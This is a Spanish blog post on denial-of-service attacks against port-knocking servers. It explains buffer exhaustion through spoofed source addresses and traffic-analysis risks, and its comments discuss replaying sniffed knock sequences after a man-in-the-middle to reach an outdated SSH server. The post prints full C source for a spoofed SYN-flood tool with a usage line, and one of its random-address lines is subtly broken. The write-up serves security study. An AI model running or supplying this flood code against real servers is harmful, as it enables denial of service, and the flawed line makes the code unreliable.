miércoles, 22 de mayo de 2013

DEFENSA OFENSIVA POR OSCURIDAD-PORT KNOCKING III.

DoS..knockOUT Fuera de Combate (DoS Knocking Attack)


Recordamos de nuevo ( Sorry, soy un pesado) que la idea central del Port Knocking es que se envía una secuencia de paquetes a un servidor y este  tiene el "efecto" de ajustar las reglas del cortafuegos para permitir la conexión a través de un puerto que el cortafuegos tiene previamente cerrado.

También hemos visto como burlar al Firewall con NAT con este tipo de implementaciones y como ya dije existen muchas voces abogando por un cambio en las estructura del Port Knocking.. 

Como es lógico y para que funcione correctamente, el "Port-Knocking Server" debe intenta controlar la conexión hecha en su contra, por lo que puede buscar patrones de autenticación y los puertos abiertos cuando sea solicitado por los usuarios autorizados. Esto implica que un proceso debe analizar los logs en ​​tiempo real para detectar automáticamente las secuencias.

Si analizamos la forma en que el puerto "golpea" nos damos cuenta que el proceso necesita un "buffer" por cada uno de los clientes que quieren realizar la conexión, por lo que el proceso es capaz de rastrear cada secuencia de autenticación.

Si un atacante logra enviar paquetes falsificados con las direcciones de red de origen aleatorios (de la misma manera algunos gusanos se propagan) el proceso "the parser process"  tendría que crear un "buffer" para cada una de las direcciones, por lo que haciendo que este proceso deba consumir grandes cantidades de memoria.
(Más adelante veremos un ejemplo en código)

Otras dos consideraciones acerca de los ataques de denegación de servicio en "portknocking" es sobre el cifrado de parámetros y el rendimiento del "parser"..se recomienda cifrado de parámetros de manera que se puedan lograr dos principios básicos de seguridad de la información como son  la integridad y la confidencialidad.

Para lograr este cometido de confidencialidad e integridad la recomendación es el uso de "one-time-passwords" para evitar ataques de repetición (reply attacks).








Estado del servidor de "portKnocking" (vmstat) durante el proceso de ataque DoS con un intervalo de tiempo entre las medidas de 5 segundos 

De cualquier manera,se implemente o no criptografía, el análisis de tráfico siempre es posible, dándonos la pista sobre le mecanismo de autenticación utlizado ..

Si un atacante puede recopilar datos de este mecanismo que incluyen varias autenticaciones, este puede darse cuenta de que antes de cualquier conexión a un puerto protegido hay una serie de intentos de conexión contra puertos cerrados (y en función del número de autenticaciones capturados, podría ser posible para identificar los puertos válidos que están siendo utilizados y su oscilación)

Código usado para el Ataque KnockOut (DoS-Knocking) 



Este es el Código fuente para generar un ataque que consiste en el envío de paquetes con direcciones de origen falsas al azar a los puertos "al azar" en el blanco.

#include "forgeit.h"
#define INTERFACE "eth0"
#define INTERFACE_PREFIX 14
char SOURCE[16],DEST[16];
int SOURCE_P,DEST_P;
int main(int argc, char *argv[])
{
int i, quantity, starting_port, range, fd_send;
if(argc != 5) {
printf("\tusage: %s ip_dst quantity init_port port_qty\n",
argv[0]);
exit(0);
}
DEV_PREFIX = INTERFACE_PREFIX;
memset(SOURCE,0,16);
memset(DEST,0,16);
srand(time(NULL));
strncpy(DEST,argv[1],15);
quantity = atoi(argv[2]);
starting_port = atoi(argv[3]);
range = atoi(argv[4]);
fd_send = open_sending();
for (i=0;i<quantity;i++)
{
snprintf(SOURCE,15,"%d.%d.%d.%d"
,1+(int)(254.0* rand()(RAND_MAX+1.0))
,1+(int)(254.0*rand() / (RAND_MAX+1.0))
,1+(int)(254.0*rand() / (RAND_MAX+1.0))
,1+(int)(254.0*rand() / (RAND_MAX+1.0)));
SOURCE_P=1024+(int)(60000.0*rand() / (RAND_MAX+1.0));
DEST_P=starting_port+(int)(((float)range)*rand() /
(RAND_MAX+1.0));
transmit_TCP (fd_send, SOURCE, SOURCE_P,DEST, DEST_P,SYN);
}
return 0;
}


(Ejemplo basado en el código de Brecht Claerhout para spoofip  y sniper-rts  modificado únicamente para mejorar el rendimiento de paquetes que envía)

Un saludo

Live Free Or Die Hacking 










5 0verl0ad Labs: DEFENSA OFENSIVA POR OSCURIDAD-PORT KNOCKING III. DoS..knockOUT Fuera de Combate (DoS Knocking Attack) Recordamos de nuevo ( Sorry, soy un pesado) que la idea central del Port Knocking es...

2 comentarios:

The X-C3LL dijo...

¡Saludos SecNight!

Muy interesante tu artículo. Me ha surgido una duda. Cuando hablas de que un posible atacante recopile información sobre los intentos de conexión hacia puertos que están cerrados (es decir, analiza el tráfico y dice: "¡Coño! si cada dos por tres veo la misma secuencia ordenada de peticiones, igual aquí hay portKnocking de por medio") se presupone que el atacante ya ha logrado algún acceso a la red ¿no?.

Entonces mi duda es... ¿esto se aplicaría más bien hacia esquemas MitM, no? Es decir, escenario real y sencillo: accedes a la red, montas tu MitM y al analizar el tráfico sacas que están usando Port Knocking. Repites la secuencia, y puff, resulta que detrás tenian un SSH con una versión desactualizada que sodomizas brutalmente y ganas acceso al servidor.

secnight dijo...

Efectivamente, puedes cumplir el esquema de Man In The Middle.. de hecho has dado en el clavo ya que ese es el motivo por el que "las" voces (me incluyo) abogan por un cambio en los mecanismos de autenticación.. Un 10 caballero, ha sodomizado y tiene usted acceso al servidor muy tranquilamente de una manera silenciosa y ahora si que si, de una manera oscura.!!!

< >